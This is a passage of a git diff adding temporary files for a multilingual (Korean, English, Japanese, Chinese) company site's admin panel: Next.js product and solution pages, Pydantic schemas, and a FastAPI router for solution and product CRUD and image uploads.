className={`flex items-center px-3 py-1 rounded-full text-xs font-medium ${
|
||||
product.is_active
|
||||
? "bg-green-100 text-green-700"
|
||||
: "bg-gray-100 text-gray-500"
|
||||
}`}
|
||||
>
|
||||
{product.is_active ? (
|
||||
<>
|
||||
<Eye className="w-3 h-3 mr-1" />
|
||||
표시
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<EyeOff className="w-3 h-3 mr-1" />
|
||||
숨김
|
||||
</>
|
||||
)}
|
||||
</button>
|
||||
</td>
|
||||
<td className="px-6 py-4">
|
||||
<div className="flex items-center justify-end space-x-2">
|
||||
<Link
|
||||
href={`/admin/products/${product.id}`}
|
||||
className="p-2 text-gray-400 hover:text-[#3B82F6] transition-colors"
|
||||
>
|
||||
<Pencil className="w-5 h-5" />
|
||||
</Link>
|
||||
<button
|
||||
onClick={() => handleDelete(product.id)}
|
||||
className="p-2 text-gray-400 hover:text-red-500 transition-colors"
|
||||
>
|
||||
<Trash2 className="w-5 h-5" />
|
||||
</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
))
|
||||
)}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
34
temp_products_new_page.tsx
Normal file
34
temp_products_new_page.tsx
Normal file
@@ -0,0 +1,34 @@
|
||||
"use client";
|
||||
|
||||
import { useState } from "react";
|
||||
import { useRouter } from "next/navigation";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { productsApi } from "@/lib/api";
|
||||
import ProductForm from "@/components/admin/ProductForm";
|
||||
|
||||
export default function NewProductPage() {
|
||||
const { token } = useAuth();
|
||||
const router = useRouter();
|
||||
const [isSubmitting, setIsSubmitting] = useState(false);
|
||||
|
||||
const handleSubmit = async (data: any) => {
|
||||
if (!token) return;
|
||||
setIsSubmitting(true);
|
||||
|
||||
try {
|
||||
const product = await productsApi.adminCreate(data, token);
|
||||
router.push(`/admin/products/${product.id}`);
|
||||
} catch (err) {
|
||||
alert("제품 생성에 실패했습니다.");
|
||||
} finally {
|
||||
setIsSubmitting(false);
|
||||
}
|
||||
};
|
||||
|
||||
return (
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-gray-900 mb-8">새 제품 등록</h1>
|
||||
<ProductForm onSubmit={handleSubmit} isSubmitting={isSubmitting} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
198
temp_solution_schemas.py
Normal file
198
temp_solution_schemas.py
Normal file
@@ -0,0 +1,198 @@
|
||||
from pydantic import BaseModel
|
||||
from datetime import datetime
|
||||
from typing import Optional, List, Any
|
||||
|
||||
|
||||
# ==================== Image Schemas ====================
|
||||
|
||||
class ImageResponse(BaseModel):
|
||||
id: int
|
||||
image_url: str
|
||||
caption: Optional[str] = None
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
# ==================== Solution Schemas ====================
|
||||
|
||||
class SolutionBase(BaseModel):
|
||||
title_ko: str
|
||||
title_en: Optional[str] = None
|
||||
title_ja: Optional[str] = None
|
||||
title_zh: Optional[str] = None
|
||||
subtitle_ko: Optional[str] = None
|
||||
subtitle_en: Optional[str] = None
|
||||
subtitle_ja: Optional[str] = None
|
||||
subtitle_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
features_ko: Optional[str] = None
|
||||
features_en: Optional[str] = None
|
||||
features_ja: Optional[str] = None
|
||||
features_zh: Optional[str] = None
|
||||
icon: Optional[str] = None
|
||||
color: Optional[str] = None
|
||||
main_image: Optional[str] = None
|
||||
is_active: bool = True
|
||||
display_order: int = 0
|
||||
|
||||
|
||||
class SolutionCreate(SolutionBase):
|
||||
pass
|
||||
|
||||
|
||||
class SolutionUpdate(BaseModel):
|
||||
title_ko: Optional[str] = None
|
||||
title_en: Optional[str] = None
|
||||
title_ja: Optional[str] = None
|
||||
title_zh: Optional[str] = None
|
||||
subtitle_ko: Optional[str] = None
|
||||
subtitle_en: Optional[str] = None
|
||||
subtitle_ja: Optional[str] = None
|
||||
subtitle_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
features_ko: Optional[str] = None
|
||||
features_en: Optional[str] = None
|
||||
features_ja: Optional[str] = None
|
||||
features_zh: Optional[str] = None
|
||||
icon: Optional[str] = None
|
||||
color: Optional[str] = None
|
||||
main_image: Optional[str] = None
|
||||
is_active: Optional[bool] = None
|
||||
display_order: Optional[int] = None
|
||||
|
||||
|
||||
class SolutionImageResponse(BaseModel):
|
||||
id: int
|
||||
image_url: str
|
||||
caption_ko: Optional[str] = None
|
||||
caption_en: Optional[str] = None
|
||||
caption_ja: Optional[str] = None
|
||||
caption_zh: Optional[str] = None
|
||||
display_order: int = 0
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
class SolutionResponse(SolutionBase):
|
||||
id: int
|
||||
created_at: datetime
|
||||
updated_at: datetime
|
||||
images: List[SolutionImageResponse] = []
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
class SolutionLocalizedResponse(BaseModel):
|
||||
id: int
|
||||
title: str
|
||||
subtitle: Optional[str]
|
||||
description: Optional[str]
|
||||
features: List[str]
|
||||
icon: Optional[str]
|
||||
color: Optional[str]
|
||||
main_image: Optional[str]
|
||||
images: List[Any] = []
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
# ==================== Product Schemas ====================
|
||||
|
||||
class ProductBase(BaseModel):
|
||||
name_ko: str
|
||||
name_en: Optional[str] = None
|
||||
name_ja: Optional[str] = None
|
||||
name_zh: Optional[str] = None
|
||||
category_ko: Optional[str] = None
|
||||
category_en: Optional[str] = None
|
||||
category_ja: Optional[str] = None
|
||||
category_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
detail_ko: Optional[str] = None
|
||||
detail_en: Optional[str] = None
|
||||
detail_ja: Optional[str] = None
|
||||
detail_zh: Optional[str] = None
|
||||
specifications: Optional[str] = None
|
||||
icon: Optional[str] = None
|
||||
main_image: Optional[str] = None
|
||||
is_active: bool = True
|
||||
display_order: int = 0
|
||||
|
||||
|
||||
class ProductCreate(ProductBase):
|
||||
pass
|
||||
|
||||
|
||||
class ProductUpdate(BaseModel):
|
||||
name_ko: Optional[str] = None
|
||||
name_en: Optional[str] = None
|
||||
name_ja: Optional[str] = None
|
||||
name_zh: Optional[str] = None
|
||||
category_ko: Optional[str] = None
|
||||
category_en: Optional[str] = None
|
||||
category_ja: Optional[str] = None
|
||||
category_zh: Optional[str] = None
|
||||
description_ko: Optional[str] = None
|
||||
description_en: Optional[str] = None
|
||||
description_ja: Optional[str] = None
|
||||
description_zh: Optional[str] = None
|
||||
detail_ko: Optional[str] = None
|
||||
detail_en: Optional[str] = None
|
||||
detail_ja: Optional[str] = None
|
||||
detail_zh: Optional[str] = None
|
||||
specifications: Optional[str] = None
|
||||
icon: Optional[str] = None
|
||||
main_image: Optional[str] = None
|
||||
is_active: Optional[bool] = None
|
||||
display_order: Optional[int] = None
|
||||
|
||||
|
||||
class ProductImageResponse(BaseModel):
|
||||
id: int
|
||||
image_url: str
|
||||
caption_ko: Optional[str] = None
|
||||
caption_en: Optional[str] = None
|
||||
caption_ja: Optional[str] = None
|
||||
caption_zh: Optional[str] = None
|
||||
display_order: int = 0
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
class ProductResponse(ProductBase):
|
||||
id: int
|
||||
created_at: datetime
|
||||
updated_at: datetime
|
||||
images: List[ProductImageResponse] = []
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
|
||||
|
||||
class ProductLocalizedResponse(BaseModel):
|
||||
id: int
|
||||
name: str
|
||||
category: Optional[str]
|
||||
description: Optional[str]
|
||||
detail: Optional[str]
|
||||
specifications: Optional[str]
|
||||
icon: Optional[str]
|
||||
main_image: Optional[str]
|
||||
images: List[Any] = []
|
||||
|
||||
class Config:
|
||||
from_attributes = True
|
||||
492
temp_solutions_api.py
Normal file
492
temp_solutions_api.py
Normal file
@@ -0,0 +1,492 @@
|
||||
from fastapi import APIRouter, Depends, HTTPException, UploadFile, File, Query
|
||||
from sqlalchemy.orm import Session
|
||||
from typing import List, Optional
|
||||
import os
|
||||
import uuid
|
||||
import aiofiles
|
||||
|
||||
from ..core.database import get_db
|
||||
from ..core.security import get_current_admin
|
||||
from ..core.config import settings
|
||||
from ..models.admin import Admin
|
||||
from ..models.solution import Solution, SolutionImage, Product, ProductImage
|
||||
from ..schemas.solution import (
|
||||
SolutionCreate, SolutionUpdate, SolutionResponse, SolutionLocalizedResponse,
|
||||
ProductCreate, ProductUpdate, ProductResponse, ProductLocalizedResponse
|
||||
)
|
||||
|
||||
router = APIRouter(tags=["solutions"])
|
||||
|
||||
ALLOWED_EXTENSIONS = {".jpg", ".jpeg", ".png", ".gif", ".webp"}
|
||||
|
||||
|
||||
def get_localized_field(obj, field: str, lang: str) -> Optional[str]:
|
||||
"""Get localized field value with fallback to Korean"""
|
||||
localized = getattr(obj, f"{field}_{lang}", None)
|
||||
if localized:
|
||||
return localized
|
||||
return getattr(obj, f"{field}_ko", None)
|
||||
|
||||
|
||||
# ==================== Solution Public Endpoints ====================
|
||||
|
||||
@router.get("/solutions/", response_model=List[SolutionLocalizedResponse])
|
||||
def get_solutions(
|
||||
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
"""Get all active solutions (public endpoint)"""
|
||||
solutions = db.query(Solution).filter(
|
||||
Solution.is_active == True
|
||||
).order_by(Solution.display_order.asc()).all()
|
||||
|
||||
result = []
|
||||
for s in solutions:
|
||||
features_str = get_localized_field(s, "features", lang) or ""
|
||||
features = [f.strip() for f in features_str.split(",") if f.strip()]
|
||||
|
||||
images = [
|
||||
{
|
||||
"id": img.id,
|
||||
"image_url": img.image_url,
|
||||
"caption": get_localized_field(img, "caption", lang)
|
||||
}
|
||||
for img in s.images
|
||||
] if hasattr(s, 'images') and s.images else []
|
||||
|
||||
result.append(SolutionLocalizedResponse(
|
||||
id=s.id,
|
||||
title=get_localized_field(s, "title", lang),
|
||||
subtitle=get_localized_field(s, "subtitle", lang),
|
||||
description=get_localized_field(s, "description", lang),
|
||||
features=features,
|
||||
icon=s.icon,
|
||||
color=s.color,
|
||||
main_image=s.main_image,
|
||||
images=images
|
||||
))
|
||||
|
||||
return result
|
||||
|
||||
|
||||
@router.get("/solutions/{solution_id}", response_model=SolutionLocalizedResponse)
|
||||
def get_solution(
|
||||
solution_id: int,
|
||||
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
"""Get single solution by ID (public endpoint)"""
|
||||
solution = db.query(Solution).filter(
|
||||
Solution.id == solution_id,
|
||||
Solution.is_active == True
|
||||
).first()
|
||||
|
||||
if not solution:
|
||||
raise HTTPException(status_code=404, detail="Solution not found")
|
||||
|
||||
features_str = get_localized_field(solution, "features", lang) or ""
|
||||
features = [f.strip() for f in features_str.split(",") if f.strip()]
|
||||
|
||||
images = [
|
||||
{
|
||||
"id": img.id,
|
||||
"image_url": img.image_url,
|
||||
"caption": get_localized_field(img, "caption", lang)
|
||||
}
|
||||
for img in solution.images
|
||||
] if hasattr(solution, 'images') and solution.images else []
|
||||
|
||||
return SolutionLocalizedResponse(
|
||||
id=solution.id,
|
||||
title=get_localized_field(solution, "title", lang),
|
||||
subtitle=get_localized_field(solution, "subtitle", lang),
|
||||
description=get_localized_field(solution, "description", lang),
|
||||
features=features,
|
||||
icon=solution.icon,
|
||||
color=solution.color,
|
||||
main_image=solution.main_image,
|
||||
images=images
|
||||
)
|
||||
|
||||
|
||||
# ==================== Solution Admin Endpoints ====================
|
||||
|
||||
@router.get("/solutions/admin/list", response_model=List[SolutionResponse])
|
||||
def admin_get_solutions(
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Get all solutions (admin only)"""
|
||||
solutions = db.query(Solution).order_by(Solution.display_order.asc(), Solution.id.desc()).all()
|
||||
return solutions
|
||||
|
||||
|
||||
@router.get("/solutions/admin/{solution_id}", response_model=SolutionResponse)
|
||||
def admin_get_solution(
|
||||
solution_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Get solution with all fields (admin only)"""
|
||||
solution = db.query(Solution).filter(Solution.id == solution_id).first()
|
||||
if not solution:
|
||||
raise HTTPException(status_code=404, detail="Solution not found")
|
||||
return solution
|
||||
|
||||
|
||||
@router.post("/solutions/admin", response_model=SolutionResponse)
|
||||
def create_solution(
|
||||
solution_data: SolutionCreate,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Create new solution (admin only)"""
|
||||
solution = Solution(**solution_data.model_dump())
|
||||
db.add(solution)
|
||||
db.commit()
|
||||
db.refresh(solution)
|
||||
return solution
|
||||
|
||||
|
||||
@router.put("/solutions/admin/{solution_id}", response_model=SolutionResponse)
|
||||
def update_solution(
|
||||
solution_id: int,
|
||||
solution_data: SolutionUpdate,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Update solution (admin only)"""
|
||||
solution = db.query(Solution).filter(Solution.id == solution_id).first()
|
||||
if not solution:
|
||||
raise HTTPException(status_code=404, detail="Solution not found")
|
||||
|
||||
update_data = solution_data.model_dump(exclude_unset=True)
|
||||
for field, value in update_data.items():
|
||||
setattr(solution, field, value)
|
||||
|
||||
db.commit()
|
||||
db.refresh(solution)
|
||||
return solution
|
||||
|
||||
|
||||
@router.delete("/solutions/admin/{solution_id}")
|
||||
def delete_solution(
|
||||
solution_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Delete solution (admin only)"""
|
||||
solution = db.query(Solution).filter(Solution.id == solution_id).first()
|
||||
if not solution:
|
||||
raise HTTPException(status_code=404, detail="Solution not found")
|
||||
|
||||
# Delete associated images from filesystem
|
||||
if solution.main_image:
|
||||
try:
|
||||
os.remove(solution.main_image)
|
||||
except:
|
||||
pass
|
||||
|
||||
for img in solution.images:
|
||||
try:
|
||||
os.remove(img.image_url)
|
||||
except:
|
||||
pass
|
||||
|
||||
db.delete(solution)
|
||||
db.commit()
|
||||
return {"message": "Solution deleted successfully"}
|
||||
|
||||
|
||||
# ==================== Solution Image Upload ====================
|
||||
|
||||
@router.post("/solutions/admin/{solution_id}/upload-image")
|
||||
async def upload_solution_image(
|
||||
solution_id: int,
|
||||
file: UploadFile = File(...),
|
||||
is_main: bool = Query(False),
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Upload image for solution (admin only)"""
|
||||
solution = db.query(Solution).filter(Solution.id == solution_id).first()
|
||||
if not solution:
|
||||
raise HTTPException(status_code=404, detail="Solution not found")
|
||||
|
||||
ext = os.path.splitext(file.filename)[1].lower()
|
||||
if ext not in ALLOWED_EXTENSIONS:
|
||||
raise HTTPException(status_code=400, detail="File type not allowed")
|
||||
|
||||
contents = await file.read()
|
||||
if len(contents) > settings.MAX_FILE_SIZE:
|
||||
raise HTTPException(status_code=400, detail="File too large")
|
||||
|
||||
filename = f"solution_{uuid.uuid4()}{ext}"
|
||||
filepath = os.path.join(settings.UPLOAD_DIR, filename)
|
||||
|
||||
async with aiofiles.open(filepath, 'wb') as f:
|
||||
await f.write(contents)
|
||||
|
||||
if is_main:
|
||||
solution.main_image = filepath
|
||||
db.commit()
|
||||
else:
|
||||
new_image = SolutionImage(
|
||||
solution_id=solution_id,
|
||||
image_url=filepath,
|
||||
display_order=len(solution.images) if solution.images else 0
|
||||
)
|
||||
db.add(new_image)
|
||||
db.commit()
|
||||
|
||||
return {"message": "Image uploaded successfully", "path": filepath}
|
||||
|
||||
|
||||
@router.delete("/solutions/admin/images/{image_id}")
|
||||
def delete_solution_image(
|
||||
image_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Delete solution image (admin only)"""
|
||||
image = db.query(SolutionImage).filter(SolutionImage.id == image_id).first()
|
||||
if not image:
|
||||
raise HTTPException(status_code=404, detail="Image not found")
|
||||
|
||||
try:
|
||||
os.remove(image.image_url)
|
||||
except:
|
||||
pass
|
||||
|
||||
db.delete(image)
|
||||
db.commit()
|
||||
return {"message": "Image deleted successfully"}
|
||||
|
||||
|
||||
# ==================== Product Public Endpoints ====================
|
||||
|
||||
@router.get("/products/", response_model=List[ProductLocalizedResponse])
|
||||
def get_products(
|
||||
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
"""Get all active products (public endpoint)"""
|
||||
products = db.query(Product).filter(
|
||||
Product.is_active == True
|
||||
).order_by(Product.display_order.asc()).all()
|
||||
|
||||
result = []
|
||||
for p in products:
|
||||
images = [
|
||||
{
|
||||
"id": img.id,
|
||||
"image_url": img.image_url,
|
||||
"caption": get_localized_field(img, "caption", lang)
|
||||
}
|
||||
for img in p.images
|
||||
] if hasattr(p, 'images') and p.images else []
|
||||
|
||||
result.append(ProductLocalizedResponse(
|
||||
id=p.id,
|
||||
name=get_localized_field(p, "name", lang),
|
||||
category=get_localized_field(p, "category", lang),
|
||||
description=get_localized_field(p, "description", lang),
|
||||
detail=get_localized_field(p, "detail", lang),
|
||||
specifications=p.specifications,
|
||||
icon=p.icon,
|
||||
main_image=p.main_image,
|
||||
images=images
|
||||
))
|
||||
|
||||
return result
|
||||
|
||||
|
||||
@router.get("/products/{product_id}", response_model=ProductLocalizedResponse)
|
||||
def get_product(
|
||||
product_id: int,
|
||||
lang: str = Query("ko", regex="^(ko|en|ja|zh)$"),
|
||||
db: Session = Depends(get_db)
|
||||
):
|
||||
"""Get single product by ID (public endpoint)"""
|
||||
product = db.query(Product).filter(
|
||||
Product.id == product_id,
|
||||
Product.is_active == True
|
||||
).first()
|
||||
|
||||
if not product:
|
||||
raise HTTPException(status_code=404, detail="Product not found")
|
||||
|
||||
images = [
|
||||
{
|
||||
"id": img.id,
|
||||
"image_url": img.image_url,
|
||||
"caption": get_localized_field(img, "caption", lang)
|
||||
}
|
||||
for img in product.images
|
||||
] if hasattr(product, 'images') and product.images else []
|
||||
|
||||
return ProductLocalizedResponse(
|
||||
id=product.id,
|
||||
name=get_localized_field(product, "name", lang),
|
||||
category=get_localized_field(product, "category", lang),
|
||||
description=get_localized_field(product, "description", lang),
|
||||
detail=get_localized_field(product, "detail", lang),
|
||||
specifications=product.specifications,
|
||||
icon=product.icon,
|
||||
main_image=product.main_image,
|
||||
images=images
|
||||
)
|
||||
|
||||
|
||||
# ==================== Product Admin Endpoints ====================
|
||||
|
||||
@router.get("/products/admin/list", response_model=List[ProductResponse])
|
||||
def admin_get_products(
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Get all products (admin only)"""
|
||||
products = db.query(Product).order_by(Product.display_order.asc(), Product.id.desc()).all()
|
||||
return products
|
||||
|
||||
|
||||
@router.get("/products/admin/{product_id}", response_model=ProductResponse)
|
||||
def admin_get_product(
|
||||
product_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Get product with all fields (admin only)"""
|
||||
product = db.query(Product).filter(Product.id == product_id).first()
|
||||
if not product:
|
||||
raise HTTPException(status_code=404, detail="Product not found")
|
||||
return product
|
||||
|
||||
|
||||
@router.post("/products/admin", response_model=ProductResponse)
|
||||
def create_product(
|
||||
product_data: ProductCreate,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Create new product (admin only)"""
|
||||
product = Product(**product_data.model_dump())
|
||||
db.add(product)
|
||||
db.commit()
|
||||
db.refresh(product)
|
||||
return product
|
||||
|
||||
|
||||
@router.put("/products/admin/{product_id}", response_model=ProductResponse)
|
||||
def update_product(
|
||||
product_id: int,
|
||||
product_data: ProductUpdate,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Update product (admin only)"""
|
||||
product = db.query(Product).filter(Product.id == product_id).first()
|
||||
if not product:
|
||||
raise HTTPException(status_code=404, detail="Product not found")
|
||||
|
||||
update_data = product_data.model_dump(exclude_unset=True)
|
||||
for field, value in update_data.items():
|
||||
setattr(product, field, value)
|
||||
|
||||
db.commit()
|
||||
db.refresh(product)
|
||||
return product
|
||||
|
||||
|
||||
@router.delete("/products/admin/{product_id}")
|
||||
def delete_product(
|
||||
product_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Delete product (admin only)"""
|
||||
product = db.query(Product).filter(Product.id == product_id).first()
|
||||
if not product:
|
||||
raise HTTPException(status_code=404, detail="Product not found")
|
||||
|
||||
# Delete associated images from filesystem
|
||||
if product.main_image:
|
||||
try:
|
||||
os.remove(product.main_image)
|
||||
except:
|
||||
pass
|
||||
|
||||
for img in product.images:
|
||||
try:
|
||||
os.remove(img.image_url)
|
||||
except:
|
||||
pass
|
||||
|
||||
db.delete(product)
|
||||
db.commit()
|
||||
return {"message": "Product deleted successfully"}
|
||||
|
||||
|
||||
# ==================== Product Image Upload ====================
|
||||
|
||||
@router.post("/products/admin/{product_id}/upload-image")
|
||||
async def upload_product_image(
|
||||
product_id: int,
|
||||
file: UploadFile = File(...),
|
||||
is_main: bool = Query(False),
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Upload image for product (admin only)"""
|
||||
product = db.query(Product).filter(Product.id == product_id).first()
|
||||
if not product:
|
||||
raise HTTPException(status_code=404, detail="Product not found")
|
||||
|
||||
ext = os.path.splitext(file.filename)[1].lower()
|
||||
if ext not in ALLOWED_EXTENSIONS:
|
||||
raise HTTPException(status_code=400, detail="File type not allowed")
|
||||
|
||||
contents = await file.read()
|
||||
if len(contents) > settings.MAX_FILE_SIZE:
|
||||
raise HTTPException(status_code=400, detail="File too large")
|
||||
|
||||
filename = f"product_{uuid.uuid4()}{ext}"
|
||||
filepath = os.path.join(settings.UPLOAD_DIR, filename)
|
||||
|
||||
async with aiofiles.open(filepath, 'wb') as f:
|
||||
await f.write(contents)
|
||||
|
||||
if is_main:
|
||||
product.main_image = filepath
|
||||
db.commit()
|
||||
else:
|
||||
new_image = ProductImage(
|
||||
product_id=product_id,
|
||||
image_url=filepath,
|
||||
display_order=len(product.images) if product.images else 0
|
||||
)
|
||||
db.add(new_image)
|
||||
db.commit()
|
||||
|
||||
return {"message": "Image uploaded successfully", "path": filepath}
|
||||
|
||||
|
||||
@router.delete("/products/admin/images/{image_id}")
|
||||
def delete_product_image(
|
||||
image_id: int,
|
||||
db: Session = Depends(get_db),
|
||||
current_admin: Admin = Depends(get_current_admin)
|
||||
):
|
||||
"""Delete product image (admin only)"""
|
||||
image = db.query(ProductImage).filter(ProductImage.id == image_id).first()
|
||||
if not image:
|
||||
raise HTTPException(status_code=404, detail="Image not found")
|
||||
|
||||
try:
|
||||
os.remove(image.image_url)
|
||||
except:
|
||||
pass
|
||||
|
||||
db.delete(image)
|
||||
db.commit()
|
||||
return {"message": "Image deleted successfully"}
|
||||
207
temp_solutions_edit_page.tsx
Normal file
207
temp_solutions_edit_page.tsx
Normal file
@@ -0,0 +1,207 @@
|
||||
"use client";
|
||||
|
||||
import { useEffect, useState } from "react";
|
||||
import { useRouter, useParams } from "next/navigation";
|
||||
import { useAuth } from "@/contexts/AuthContext";
|
||||
import { solutionsApi, SolutionAdmin, getUploadUrl } from "@/lib/api";
|
||||
import SolutionForm from "@/components/admin/SolutionForm";
|
||||
import { Loader2, Upload, Trash2 } from "lucide-react";
|
||||
import YouTubeVideoManager from "@/components/admin/YouTubeVideoManager";
|
||||
|
||||
export default function EditSolutionPage() {
|
||||
const { token } = useAuth();
|
||||
const router = useRouter();
|
||||
const params = useParams();
|
||||
const solutionId = Number(params.id);
|
||||
|
||||
const [solution, setSolution] = useState<SolutionAdmin | null>(null);
|
||||
const [isLoading, setIsLoading] = useState(true);
|
||||
const [isSubmitting, setIsSubmitting] = useState(false);
|
||||
const [isUploading, setIsUploading] = useState(false);
|
||||
|
||||
const fetchSolution = async () => {
|
||||
if (!token) return;
|
||||
try {
|
||||
const data = await solutionsApi.adminGetOne(solutionId, token);
|
||||
setSolution(data);
|
||||
} catch (err) {
|
||||
alert("솔루션을 찾을 수 없습니다.");
|
||||
router.push("/admin/solutions");
|
||||
} finally {
|
||||
setIsLoading(false);
|
||||
}
|
||||
};
|
||||
|
||||
useEffect(() => {
|
||||
fetchSolution();
|
||||
}, [token, solutionId]);
|
||||
|
||||
const handleSubmit = async (data: any) => {
|
||||
if (!token) return;
|
||||
setIsSubmitting(true);
|
||||
|
||||
try {
|
||||
await solutionsApi.adminUpdate(solutionId, data, token);
|
||||
alert("저장되었습니다.");
|
||||
fetchSolution();
|
||||
} catch (err) {
|
||||
alert("저장에 실패했습니다.");
|
||||
} finally {
|
||||
setIsSubmitting(false);
|
||||
}
|
||||
};
|
||||
|
||||
const handleImageUpload = async (
|
||||
e: React.ChangeEvent<HTMLInputElement>,
|
||||
isMain: boolean
|
||||
) => {
|
||||
if (!token || !e.target.files?.[0]) return;
|
||||
|
||||
setIsUploading(true);
|
||||
try {
|
||||
await solutionsApi.adminUploadImage(
|
||||
solutionId,
|
||||
e.target.files[0],
|
||||
isMain,
|
||||
token
|
||||
);
|
||||
fetchSolution();
|
||||
} catch (err) {
|
||||
alert("이미지 업로드에 실패했습니다.");
|
||||
} finally {
|
||||
setIsUploading(false);
|
||||
e.target.value = "";
|
||||
}
|
||||
};
|
||||
|
||||
const handleDeleteImage = async (imageId: number) => {
|
||||
if (!token || !confirm("이미지를 삭제하시겠습니까?")) return;
|
||||
|
||||
try {
|
||||
await solutionsApi.adminDeleteImage(imageId, token);
|
||||
fetchSolution();
|
||||
} catch (err) {
|
||||
alert("이미지 삭제에 실패했습니다.");
|
||||
}
|
||||
};
|
||||
|
||||
if (isLoading) {
|
||||
return (
|
||||
<div className="flex items-center justify-center h-64">
|
||||
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (!solution) return null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<h1 className="text-2xl font-bold text-gray-900 mb-8">솔루션 수정</h1>
|
||||
|
||||
<div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
|
||||
{/* Form */}
|
||||
<div className="lg:col-span-2">
|
||||
<SolutionForm
|
||||
initialData={solution}
|
||||
onSubmit={handleSubmit}
|
||||
isSubmitting={isSubmitting}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Image Upload */}
|
||||
<div className="space-y-6">
|
||||
{/* Main Image */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">대표 이미지</h3>
|
||||
{solution.main_image ? (
|
||||
<div className="relative">
|
||||
<img
|
||||
src={getUploadUrl(solution.main_image)}
|
||||
alt="Main"
|
||||
className="w-full h-48 object-cover rounded-lg"
|
||||
/>
|
||||
<label className="absolute bottom-2 right-2 px-3 py-1.5 bg-white/90 text-sm font-medium rounded-lg cursor-pointer hover:bg-white transition-colors">
|
||||
변경
|
||||
<input
|
||||
type="file"
|
||||
accept="image/*"
|
||||
className="hidden"
|
||||
onChange={(e) => handleImageUpload(e, true)}
|
||||
disabled={isUploading}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
) : (
|
||||
<label className="flex flex-col items-center justify-center h-48 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
|
||||
{isUploading ? (
|
||||
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
|
||||
) : (
|
||||
<>
|
||||
<Upload className="w-8 h-8 text-gray-400 mb-2" />
|
||||
<span className="text-sm text-gray-500">
|
||||
클릭하여 업로드
|
||||
</span>
|
||||
</>
|
||||
)}
|
||||
<input
|
||||
type="file"
|
||||
accept="image/*"
|
||||
className="hidden"
|
||||
onChange={(e) => handleImageUpload(e, true)}
|
||||
disabled={isUploading}
|
||||
/>
|
||||
</label>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Additional Images */}
|
||||
<div className="bg-white rounded-xl p-6 shadow-sm">
|
||||
<h3 className="font-semibold text-gray-900 mb-4">추가 이미지</h3>
|
||||
<div className="grid grid-cols-2 gap-3 mb-4">
|
||||
{solution.images?.map((img) => (
|
||||
<div key={img.id} className="relative group">
|
||||
<img
|
||||
src={getUploadUrl(img.image_url)}
|
||||
alt=""
|
||||
className="w-full h-24 object-cover rounded-lg"
|
||||
/>
|
||||
<button
|
||||
onClick={() => handleDeleteImage(img.id)}
|
||||
className="absolute top-1 right-1 p-1 bg-red-500 text-white rounded opacity-0 group-hover:opacity-100 transition-opacity"
|
||||
>
|
||||
<Trash2 className="w-4 h-4" />
|
||||
</button>
|
||||
</div>
|
||||
))}
|
||||
</div>
